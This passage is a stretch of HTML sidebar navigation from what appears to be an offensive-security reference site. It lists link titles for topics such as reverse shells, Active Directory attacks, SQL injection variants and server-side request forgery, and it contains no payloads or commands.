||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Active Directory Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bind Shell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud - AWS
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cloud - Azure
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cobalt Strike
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Container - Docker
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Container - Kubernetes
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Application Escape and Breakout
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
HTML Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hash Cracking
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Initial Access
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Evasion
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Linux - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL Server
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Metasploit
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Bug Hunting Methodology and Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Miscellaneous%20-%20Tricks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Miscellaneous & Tricks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Discovery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Network Pivoting Techniques
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Office - Attacks
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Powershell
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Reverse Shell Cheat Sheet
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Source Code Management & CI/CD Compromise
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Subdomains%20Enumeration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Subdomains Enumeration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Vulnerability Reports
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - AMSI Bypass
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - DPAPI
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Defenses
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Download and execute methods
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Mimikatz
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Persistence
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Privilege Escalation
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Windows - Using credentials
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoSQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_37">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
NoSQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../NoSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
NoSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
OAuth Misconfiguration
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_38">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
OAuth Misconfiguration
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
OAuth Misconfiguration
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Open Redirect
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_39">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Open Redirect
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Open%20Redirect/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Open URL Redirection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prompt Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_40">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Prompt Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Prompt%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prompt Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prototype Pollution
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_41">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Prototype Pollution
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Prototype%20Pollution/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Prototype Pollution
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Race Condition
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_42">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Race Condition
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Race%20Condition/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Race Condition
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Request Smuggling
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_43">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Request Smuggling
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Request%20Smuggling/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Request Smuggling
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SAML Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_44">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
SAML Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SAML%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SAML Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQL Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_45">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
SQL Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Google BigQuery SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Cassandra Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
DB2 Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/HQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Hibernate Query Language Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MSSQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
MySQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Oracle SQL Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
PostgreSQL injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
SQLite Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Include Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_46">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Include Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Include Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Request Forgery
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_47">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Request Forgery
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server-Side Request Forgery
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection
|
||
</span>
|
||
|
||
|
||
<span class="md-nav__icon md-icon"></span>
|
||
</label>
|
||
|
||
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
|
||
<label class="md-nav__title" for="__nav_48">
|
||
<span class="md-nav__icon md-icon"></span>
|
||
Server Side Template Injection
|
||
</label>
|
||
<ul class="md-nav__list" data-md-scrollfix>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item">
|
||
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Server Side Template Injection
|
||
</span>
|
||
|
||
|
||
</a>
|
||
</li>
|
||
|
||
|
||
|
||
|
||
</ul>
|
||
</nav>
|
||
|
||
</li>
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
<li class="md-nav__item md-nav__item--nested">
|
||
|
||
|
||
|
||
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
|
||
|
||
|
||
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
|
||
|
||
|
||
<span class="md-ellipsis">
|
||
Tabnabbing
|
||
</span>
|
||
|
||
|
||
